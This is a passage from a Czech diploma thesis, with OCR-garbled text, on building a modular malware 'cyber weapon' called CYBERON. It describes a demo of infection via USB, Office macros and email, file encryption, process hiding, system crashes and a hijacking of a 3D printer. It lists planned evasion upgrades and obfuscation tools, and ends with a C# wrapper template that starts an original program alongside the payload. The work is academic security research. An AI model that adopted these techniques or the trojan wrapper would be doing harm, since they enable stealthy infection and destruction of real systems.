v tabulce ¢. 8. V case 2:05 lze vidét pripojeni prvniho pocitace, ktery je infikovan. Nasleduje
infekce souboru, ktery byl umistén na plose. V case 3:31 dochdazi k pripojeni USB zafizeni a
nasleduje automaticka infekce. V case 5:02 dochézi k vytvoreni nové tlohy, ktera zasifruje sou-
bory, které jsou umisténé na plose. Poslednim krokem je vytvoreni tlohy, kterda znemozni znovu
spusténi pocitace.

Druhd ¢ast zac¢ind v case 7:10, v této ukazce je vyuzivan antivirovy software ESET Smart
Security. Infekce je provedena z infikovaného zafizeni z prvni ¢asti. V case 8:48 je jiz také
pripojen na hlavni server a mize vykondvat vzdalené piikazy. V case 9:11 je vytvorena tuloha,
kterd infikuje vsechny dokumenty ¢i tabulky, které jsou umistény na plose. V case 10:10 je
otevien dokument s vlozenym makrem. Spusténim takovéhoto makra dojde k infekci pocitace,
na kterém byl spustén. Dalsi tloha zac¢ind v ¢ase 11:04 kdy dochézi k spusténi tlohy, ktera se
stard o skryti procesu. V case 11:37 je proces stale viditelny, jelikoz nedoslo ke spusténi. V case
12:03 dojde ke spusténi nového spravce iloh, ve kterém jiz neni proces viditelny. V case 12:43
je poté vytvorena uloha, kterd zptsobi pad celého systému.

Predposledni ¢ast zacind v ¢ase 15:08, kde je zndzornéna infekce pres postovniho klienta. V
case 15:14 je ukazan seznam lidi, ktefi jsou v kontaktech. Nasleduje vytvoreni dvou uloh, kdy
prvni z nich odesild infikované zpravy a druhd spousti zranitelnost, ktera se postard o vzdalenou
infekci systému. V case 17:34 je zobrazen spravce iloh v systému Windows 7, ktery postupné
prijimé data. V case 18:25 je zobrazen soubor s informacemi o odeslanych zpraviach. V case
18:54 dojde ke spusténi kybernetické zbrané, kterd bézi pod systémovym uzivatelem. Nasledné
je tento soubor mozné dohledat v adresatri Windows. V ¢ase 19:50 je ukazan e-mail, ktery dosel
nasi obéti. Jedna se o jednoduchou prilohu, ktera obsahuje skodlivy kod pro stazeni malwaru.

Posledni ¢ast zacind v ¢ase 20:45. V této ukazce je pro ochranu vyuzivan Avast Free Antivirus.
Na systému je pripraven octoprint server, ktery se stara o 3D tisk. V case 22:21 dojde k tpravé

dokumentu a tabulky, aby oba soubory obsahovaly nova data. Poté je vytvorena a spusténa

8Zdroj: https://scanmybin.net/result/28e53¢1216bace76c04976aedc5db2bd41801c3a662bf96a7622afbfc547bef0
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vzdéalena tloha, kterda navrati zmény v tomto dokumentu za starsi. Posledni ¢ast spociva ve
vyzkouseni ttoku na tiskdrnu. V case 24:12 je tiskarna pripojena k octoprint serveru a nasledné
je spustén tisk. Dojde k nahtati podlozky a hotendu na pozadovanou teplotu. V case 24:50
dojde k naplanovani ilohy, kterd se bude snazit ovladnout 3D tiskdrnu. V case 25:57 dochézi
k legitimnimu tisku, ktery byl zaddn na octoprint server. V case 26:23 dojde k odeslani tlohy
pro klienty. V case 27:09 dojde k ukonceni octoprint serveru a nésledny utok na 3D tiskdrnu
z kybernetické zbrané. V case 28:12 dojde k tisku z kybernetické zbrané. Tento kol je pouze
demonstracni samoziejmé by kéd pro ovlddani mohl obsahovat jakékoliv nastaveni, které by

mohli tiskdrnu i poskodit.

9.2.1 Budouci vylepseni a vyvoj

Kyberneticka zbran je postavena na funkénim PrEP frameworku. Diky tomuto mtizeme kyber-
netickou zbran jednoduse rozsitovat a vytvaren dal$i moznosti propagace, implementovat nové
zranitelnosti nebo vytvaret dalsi skodlivy kéd. Staci, aby vSechny nové funkcionality implemen-
tovaly spravné abstraktni t¥idy. Nesmime zapomenout pridat tuto moznost do databaze systému,
ktery se stard o rozesilani aktualizaci. Samotné zbran také obsahuje moznost aktualizace, ktera
cely proces jesté zjednodusuje.

Kyberneticka zbran obsahuje pouze zédkladni funkcionalitu a slouzi hlavné pro studijni tcely.
Existuje vsak spousta zpusobu, jak kybernetickou zbran rozsitit a je jen na autorovi, jakou dalsi
funkcionalitu bude chtit implementovat.

Idedlnim vylepseni kybernetické zbrané je fiktivni podepsani aplikace. V takovémto pripadé
by aplikace nebyla zasildna na detailnéjsi zkoumani bezpec¢nostnim spolecnostem. Dalsim vylep-
senim by mohlo byt vytvoreni ovladace, ktery by umél pracovat se sériovym portem. Umél by
ho kupiikladu monitorovat a nésledné simulovat provoz zarizeni, za které by se mohl vydavat,
pricemz v pozadi by probihala se zafizenim tplné jind komunikace. Pfi metodé propagace by
bylo velkym vylepsenim vyuzit zranitelnost obdobnou EternalBlue (viz kapitola 6.6.1), kterd by
umoznila siten{ kybernetické zbrané bez nutnosti uzivatelské akce. Jako posledni by bylo vhodné
do kybernetické zbrané implementovat skryvani samotného souboru jakozto kybernetické zbrané.

Tato moznost je programatorsky velmi obdobna metodé, ktera je pouzita pro skryvani procesu.
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10 Zavér

Hlavnim cilem této diplomové price bylo vytvoreni kybernetické zbrané. Vyvoj kybernetické
zbrané je financné a casové velmi naroc¢ny, proto byva casto financovan statem. Pii vyvoji ky-
bernetické zbrané byly zohlednény informace z teoretické casti.

Soucasné informace ohledné kybernetickych zbrani nejsou verejné. A to z divodu, ze jed-
notlivé staty si své kybernetické zbrané chrani. Pokud dojde k jejich pouziti, zbran je nasledné
odhalena a nemusi dosdhnout pozadovaného vysledku. Z vyse uvedenych dtévodu bylo velmi
tézké nastudovat typy zbrani. Nicméné z dostupnych zdroju bylo mozné blize identifikovat jiz
odhalené a pouzité zbrané, které slouzily jako inspirace pro praktickou cast.

Kapitola ¢. 4 obsahuje porovnani znamych kybernetickych zbrani. V nékterych zdrojich jsou
kybernetické zbrané zameénovany za malware, jelikoz nedochézi k fyzické destrukci zafizeni.
7 tohoto davodu byly kybernetické zbrané srovnany s malwarem. Z porovnani je patrné, ze
kybernetické zbrané jsou sofistikovanéjsi a cili na predem urceny cil.

Ackoliv puvodni zadani obsahovalo tvorbu a demonstraci vybranych ukazek kybernetickych
zbrani, vyuziti silnych a eliminace slabych strdnek, autor prace se rozhodl po konzultaci s ve-
doucim vytvorit novou unikatni kybernetickou zbran. Tato zbran je plné modularni a obsahuje
Sest typu rozsiteni, ¢tyri zranitelnosti a Sest typu utoku. Jeden z téchto ttoku je navic urcen
na fyzickou destrukci. Zbran obsahuje podobné prvky jako malware Stuxnet, Red October a
Conficker, které jsou popsany v kapitole ¢. 2.

Vytvorena zbran navic odstranuje nedostatky jiz odhalenych zbrani. Napiiklad zbran Red
October komunikovala s nékolika servery, které byly zablokovany a tudiz se zbran stala neefek-
tivni. Pro odstranéni tohoto nedostatku byla vyuzita technologie TOR, ktera je v dnesni dobé
velmi popularni. Tato technologie je vyuzita hlavné z duvodu zamaskovani sitového provozu ky-
bernetické zbrané. Zbran navic disponuje moznosti automatické aktualizace a je mozné ji ovladat
s pomoci vzdalenych prikazu.

Scénait, ve kterych zbran musi spravné fungovat a zaroven nebyt odhalena je celd rada. Sa-
motny popis téchto scénait je velmi komplexni, a proto se autor prace rozhodl pouzit efektivnéjsi
znazornéni za pomoci video nahravky. Priibéh této nahravky je detailné popsan v kapitole ¢. 9.2,
kde je znazornény pritbéh chovani zbrané v riznych situacich. Béhem testovani byl zdmérné in-
fikovan osobni pocita¢ autora této prace. Po infekci kybernetickou zbrani bylo velmi obtizné,
az nemozné zbran odstranit. Nalezeni infikovanych soubori neni mozné jednoduse identifikovat,
protoze jsou rozprostieny po celém systému. Jedinym fesenim bylo tento pocitac obnovit do
tovarniho nastaveni.

Téma kybernetickych zbrani a malwaru je velmi aktualni. Utoky na citlivé cile jako jsou
nemocnice ¢i statni zarizeni stale rostou. Zaroven vsak rostou pozadavky na digitalizaci in-
frastruktury. Tato skutecnost zvysuje potencionalni riziko vytazeni kritické infrastruktury ¢i

sluzeb. Pocitacova bezpecnost byva casto zanedbdvana na tkor financi ¢i funkcionality. Tato
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doba vytvaii idedlni prilezitost kdy se softwarové nedokonalosti mohou vyuzit k $piondzi, ¢i
vyfazeni zafizeni.

I pfes veskerou snahu antivirovych spolec¢nosti je stdle pomérné jednoduché vytvorit nede-
tekovatelny malware, ktery muze napachat velkou skodu. S dnesnimi informacemi navic neni
vyvoj ruznych malwaru prilis slozity a je mozné neopravené zranitelnost si poridit za penize.

Tato prace potvrzuje skutecénost, ze vytvorit kybernetickou zbran, ¢i zdkefny malware je
mozné i ve studijnim prostfed{ bez specidlnich néstroju. Autor prace si troufd tvrdit, ze pocet

bezpec¢nostnich hrozeb i nadale poroste.
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Vyuzité knihovny pri vyvoji

MinHook - knihovna pro ulehéeni prace s zahackovanim do procesu
DevicelD - sestrojeni unikatniho klice podle hardwaru

IncoLib - knihovna pro praci s ikonami

Knapcode.TorSharp - zajistuje funkénost TOR pfipojeni a vytvoreni proxy
Trinet.Core.IO.Ntfs - price s alternativnimi datovymi proudy

ILMerge - slouceni knihoven do jednoho spustitelného souboru

Dotfuscator - pro obfuskaci a kompresi malwaru
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B Obsah prilozeného CD

e Daniel-Walter-DP.pdf

Elektronicka verze diplomové prace ve formatu PDF

¢ CYBERON.zip

Archiv zdrojovych koda kybernetické zbrané

e Videoukazka.mp4

Video ukédzka fungovani kybernetické zbrané

e Nastaveni.mp4

Ukéazka konfigurace webového serveru a rozhrani pro CYBERON
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C Zdrojovy kéd

using System;

using System.Diagnostics;

using System.Reflection;

using System.Runtime.InteropServices;

using System.IO;

[assembly: AssemblyTrademark("),infectedTrademarky")]
[assembly: Guid("%Guid’%")]

static class %SimulatedMain

{
public static void Main()
{
try
{
System.Diagnostics.Process.Start(@"%File%"); // start original process!
}
catch { }
try
{
System.Diagnostics.Process.Start (@"),CYBERONY,"); // start CW
}
catch { }
}
}

Vypis 15: Ukazka kompilovaného kédu
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